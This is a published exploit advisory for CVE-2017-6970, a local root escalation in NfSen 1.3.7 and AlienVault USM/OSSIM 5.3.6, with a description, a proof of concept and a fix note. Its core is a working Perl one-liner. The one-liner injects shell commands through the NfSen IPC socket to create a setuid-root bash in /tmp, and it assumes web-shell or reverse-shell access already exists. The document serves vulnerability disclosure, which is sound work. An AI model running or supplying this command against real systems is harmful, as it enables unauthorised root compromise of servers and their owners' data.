NfSen 1.3.7 / AlienVault USM/OSSIM 5.3.6 Local Root
Posted on 12 July 2017
# Exploit Title: Local root exploit affecting NfSen <= 1.3.7, AlienVault USM/OSSIM <= 5.3.6 # Version: NfSen 1.3.7 # Version: AlienVault 5.3.6 # Date: 2017-07-10 # Vendor Homepage: http://nfsen.sourceforge.net/ # Vendor Homepage: http://www.alienvault.com/ # Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download # Exploit Author: Paul Taylor / Foregenix Ltd # Website: http://www.foregenix.com/blog # Tested on: AlienVault USM 5.3.6 # CVE: CVE-2017-6970 1. Description The web user (in AlienVault USB www-data) has access to the NfSen IPC UNIX domain socket. This can be used to send a crafted command (complete with shell metacharacter injection) to the NfSen Perl components, causing OS command injection in a root privilege context, and therefore can be leverage for privilege escalation from the web user to full root privileges. 2. Proof of Concept Pre-requisites - web user/www-data shell (e.g. web shell, or reverse shell). Execute the following command: perl -e 'use Socket; socket(my $nfsend, AF_UNIX, SOCK_STREAM, 0); connect($nfsend, sockaddr_un("/var/nfsen/run/nfsen.comm")); print $nfsend "run-nfdump args=-h $(bash -c "cp /bin/bash /tmp") . run-nfdump args=-h $(bash -c "chmod u+s /tmp/bash") . ";' This will create a set uid root bash binary in /tmp, which can then be used to gain full root privileges. 3. Solution: Update to latest version of NfSen/USM/OSSIM
